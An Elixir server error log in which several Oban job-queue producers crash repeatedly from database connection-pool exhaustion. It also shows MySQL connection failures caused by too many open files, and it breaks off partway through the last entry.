** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:20:19.240022Z], limit: 3, uuid: "367b3638-bef2-4a29-8f36-60e93bd5747b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:19.240027Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180457>, refresh_timer: #Reference<0.2525715032.1068498948.54540>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:20:19.239681Z], limit: 20, uuid: "293ceecc-9594-468c-93b0-c2a49e0b218e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:19.239688Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180455>, refresh_timer: #Reference<0.2525715032.1068498948.54521>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:20:19.240058Z], limit: 50, uuid: "168acb46-79c4-48ed-9b6c-7386ea034291", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:19.240065Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180453>, refresh_timer: #Reference<0.2525715032.1099431938.56102>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:20:19.240196Z], limit: 5, uuid: "c3d57364-f83e-46b0-b0f7-c513ee5a40d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:19.240201Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180456>, refresh_timer: #Reference<0.2525715032.1068498948.54544>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:20:19.240919Z], limit: 10, uuid: "d29b2d1c-2c8d-485a-bb52-e868e5270f85", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:19.240926Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.32434>, refresh_timer: #Reference<0.2525715032.1077673987.32431>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:31.643000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:32.013000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:32.487000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:36.965000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:39.054000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:39.949000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:43.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:20:31.238949Z], limit: 5, uuid: "d64e094e-e535-4265-9fbc-06172dc84104", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:31.238954Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180902>, refresh_timer: #Reference<0.2525715032.1121189889.180850>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:20:31.240968Z], limit: 10, uuid: "64690810-0b1b-42ec-aef9-7cc2d98470dc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:31.240975Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56163>, refresh_timer: #Reference<0.2525715032.1077673987.32477>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:20:31.241243Z], limit: 5, uuid: "33247ce7-817e-440a-8bd7-b14b0a9dd6cf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:31.241249Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180901>, refresh_timer: #Reference<0.2525715032.1121189889.180889>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:20:31.239897Z], limit: 20, uuid: "eb918997-d949-40a0-91df-bf4d65d9ab18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 